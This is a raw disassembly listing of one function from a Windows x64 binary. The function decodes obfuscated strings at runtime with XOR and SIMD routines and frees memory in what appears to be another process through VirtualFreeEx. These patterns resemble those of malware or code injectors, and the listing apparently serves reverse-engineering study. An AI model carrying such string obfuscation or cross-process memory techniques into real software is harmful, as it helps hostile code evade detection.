jl 0x1400179b0
mov rcx, r9
jmp 0x140017ee8
mov byte [rbp + 0xa5], 0
lea rdx, [rbp + 0x12c]
lea rcx, [rbp + 0xa5]
call fcn.140035ed0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140017a1d
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x16c0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x16c0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x16c0]
call fcn.1400b3040
cmp ebx, 8
jne 0x140017efb
mov byte [rbp + 0xa6], 0
lea rdx, [rbp + 0x688]
lea rcx, [rbp + 0xa6]
call fcn.1400365d0
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x140017aa6
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rbp + 0xa7], 0
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0xa7]
call fcn.140036550
movzx ecx, byte [rax + 2]
test cl, cl
je 0x140017ad2
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rbp + 0xa8], 0
lea rdx, [rbp + 0x848]
lea rcx, [rbp + 0xa8]
call fcn.140036380
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140017c20
mov r8d, edi
cmp esi, 2
jl 0x140017bde
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140017bf0
mov byte [rbp + 0xa9], 0
lea rdx, [rbp + 0xe08]
lea rcx, [rbp + 0xa9]
call fcn.1400361b0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140017d60
mov r8d, edi
cmp esi, 2
jl 0x140017d22
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140017d30
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0xaa], 0
lea rdx, [rbp + 0x858]
lea rcx, [rbp + 0xaa]
call fcn.140035fe0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140017e9d
cmp esi, 2
jl 0x140017e5e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm6, xmm0
andps xmm6, xmm9
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, dword [rax]
xorps xmm6, xmm0
movd dword [rax], xmm6
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm7, xmm0
andps xmm7, xmm9
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd xmm0, dword [rax + 4]
xorps xmm7, xmm0
movd dword [rax + 4], xmm7
mov edi, 8
movsxd r8, edi
add r8, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xd
jl 0x140017e70
mov byte [rbp + 0xab], 0
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0xab]
call fcn.140035f50
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140017ee5
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov al, 1
jmp 0x140017f6e
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x230]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140017f57
mov r13, qword [rbp + 0x230]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, r12
jmp 0x140017f5a
mov r15, qword [rbp + 0x208]
mov rdx, r13
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rcx, qword [rbp + 0x1d70]
xor rcx, rsp
call fcn.1400bb630
lea r11, [rsp + 0x1f00]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret